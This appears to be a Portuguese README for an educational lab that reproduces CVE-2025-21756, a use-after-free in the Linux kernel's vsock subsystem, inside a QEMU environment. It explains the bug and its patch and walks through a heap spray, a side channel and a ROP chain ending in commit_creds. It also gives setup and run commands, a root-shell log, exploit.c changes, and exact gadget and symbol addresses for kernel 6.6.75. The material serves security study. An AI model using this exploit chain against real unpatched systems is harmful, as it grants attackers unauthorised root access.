
Laboratório educacional demonstrando um exploit de use-after-free (UAF) no subsistema vsock do kernel Linux para escalonamento local de privilégios para root, com configuração automatizada e análise de cadeia ROP.
Apenas para fins educacionais e de pesquisa de segurança autorizada.
CVE-2025-21756 é uma vulnerabilidade use-after-free (UAF) no subsistema vsock (Virtual Socket) do kernel Linux, divulgada em 26 de fevereiro de 2025. Ela permite que um atacante local escalone privilégios para root em sistemas Linux afetados.
net/vmw_vsock/af_vsock.cO bug ocorre durante a reatribuição de transporte de um socket vsock. A sequência vulnerável é:
vsock_create() cria o socket com refcnt=2 e o insere na lista não vinculadatransport->release() chama vsock_remove_bound() sem verificar se o socket foi movido para a lista vinculada, decrementando incorretamente refcntvsock_bind() assume que o socket ainda está na lista não vinculada e chama _vsock_remove_bound() novamenterefcnt chega a 0 prematuramente → o objeto vsock é liberado enquanto ainda referenciado → UAFvoid vsock_remove_sock(struct vsock_sock *vsk)
{
- vsock_remove_bound(vsk);
+ if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+ vsock_remove_bound(vsk);
vsock_remove_connected(vsk);
}
connect() com CIDs que produzem transportes diferentes fazem com que o objeto vsock seja liberado prematuramente enquanto ainda está ligado em vsock_bind_tableunix_dgram_sendmsg com mensagens de ordem 2 (MIGRATE_UNMOVABLE), preenchendo-a com dados controladosvsock_diag_dump (não protegido por AppArmor) é usado como canal lateral para detectar quando a página foi recuperada e localizar o offset exato do objeto vítima dentro da páginask->sk_prot é sobrescrito para apontar para udp_prot+0x1c0 (udp_abort), que quando chamado invoca sk->sk_error_report(sk), cujo ponteiro é sobrescrito com um gadget de pivô de pilhacommit_creds(init_cred) é executado para atribuir credenciais root ao processo, seguido pelo trampolim KPTI para retornar ao espaço do usuárioexecve("/bin/sh") com uid=0sudo# Baixe o script de configuração
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh
# Execute como usuário normal (não como root)
./setup-lab.sh
O script lida automaticamente com:
sudo se não estiver disponívelbuild-essential, qemu-system-x86, bc, pahole, etc.)lts-6.6.75, rootfs, ramdisk)run_lab.sh como ponto de entrada únicocd ~/cve-2025-21756-lab
./run_lab.sh
Assim que o ambiente inicializar, execute o seguinte dentro dele:
wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit
[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)
Para sair: Ctrl-A X
O exploit base é de ktranowl. As seguintes modificações foram aplicadas para funcionar neste ambiente:
Modificação: nokaslr adicionado aos parâmetros de inicialização do kernel.
Motivo: O exploit original contorna o KASLR usando EntryBleed, uma técnica de canal lateral baseada em temporização TLB que requer precisão de temporização da CPU. Em um ambiente de virtualização aninhada, a precisão do rdtsc é insuficiente para que o EntryBleed funcione de forma confiável, produzindo um kbase incorreto que faz com que todos os endereços calculados com ADDRESS() estejam errados. Desabilitar o KASLR garante que o kernel sempre carregue em 0xffffffff81000000 e que os offsets fixos no exploit estejam sempre corretos.
user_rip alterado de modeprobe_exec para check_rootModificação em exploit.c:
// Antes
uint64_t user_rip = (uint64_t)modeprobe_exec;
// Depois
uint64_t user_rip = (uint64_t)check_root;
Motivo: modeprobe_exec é a técnica de escalonamento de privilégios usada no exploit original para o ambiente remoto kCTF. Ela requer argumentos de linha de comando (IP e porta de um servidor remoto) e conectividade de rede externa. Sem esses argumentos, o processo trava com GPF ao tentar ler argv[1]. check_root verifica diretamente o uid e executa /bin/sh, o que é suficiente para demonstrar a exploração em um ambiente local.
modeprobe_exec dentro de check_rootModificação em exploit.c:
void check_root() {
if (getuid() == 0) {
puts("[*] I AM ROOT");
- modeprobe_exec(); // removido
char binsh[] = "/bin/sh";
char* const argv[] = {binsh, NULL};
execve("/bin/sh", argv, 0);
}
}
Motivo: Mesmo com user_rip apontando para check_root, esta função internamente chamava modeprobe_exec novamente antes de executar /bin/sh. Sem os argumentos necessários, essa chamada causava um GPF e o processo era encerrado sem abrir um shell, apesar de commit_creds já ter escalonado os privilégios com sucesso.
Durante o processo de configuração do laboratório, todos os símbolos do kernel e gadgets ROP foram verificados contra o kernel oficial lts-6.6.75 do kCTF para confirmar que eram válidos para este ambiente.
Os três gadgets usados no exploit foram extraídos do kernel oficial usando ROPgadget no binário vmlinux e confirmados como correspondendo exatamente aos valores fixos:
| Gadget | Endereço | Propósito |
|---|---|---|
pop rax ; and eax, ... ; pop rsp ; jmp ... | 0xffffffff8122ad32 | Pivô de pilha — move RSP para o início do objeto vsock controlado |
add rsp, 0xb8 ; jmp ... | 0xffffffff8170292c | Avanço de pilha — pula campos reservados para alcançar a cadeia ROP |
pop rdi ; ret | 0xffffffff8115e4f9 | Carrega primeiro argumento para commit_creds(init_cred) |
Nenhum deles exigiu modificação.
Os seguintes símbolos foram verificados em relação a /proc/kallsyms dentro do kernel (com nokaslr, os offsets são fixos):
| Símbolo | Endereço | Notas |
|---|---|---|
vsock_bind_table[0x7a] | 0xffffffff84bc6280 | Âncora do canal lateral — o slot da lista vsock onde o objeto vítima cai |
init_net | 0xffffffff84bb1f80 | Usado para validar o objeto vsock falso via vsock_diag_dump |
commit_creds | 0xffffffff811fdac0 | Atribui credenciais root ao processo atual |
init_cred | 0xffffffff83c74d80 | Estrutura de credenciais com uid=gid=0, em um offset fixo a partir da base do kernel |
kpti_trampoline | 0xffffffff826011a6 | swapgs_restore_regs_and_return_to_usermode+0x36 — restaura CR3 e retorna ao espaço do usuário |
address_contain_udp_abort | 0xffffffff83ef28e0 | udp_prot + 0x1c0 — veja nota abaixo |
Todos os valores corresponderam aos originais no exploit. Nenhuma modificação foi necessária.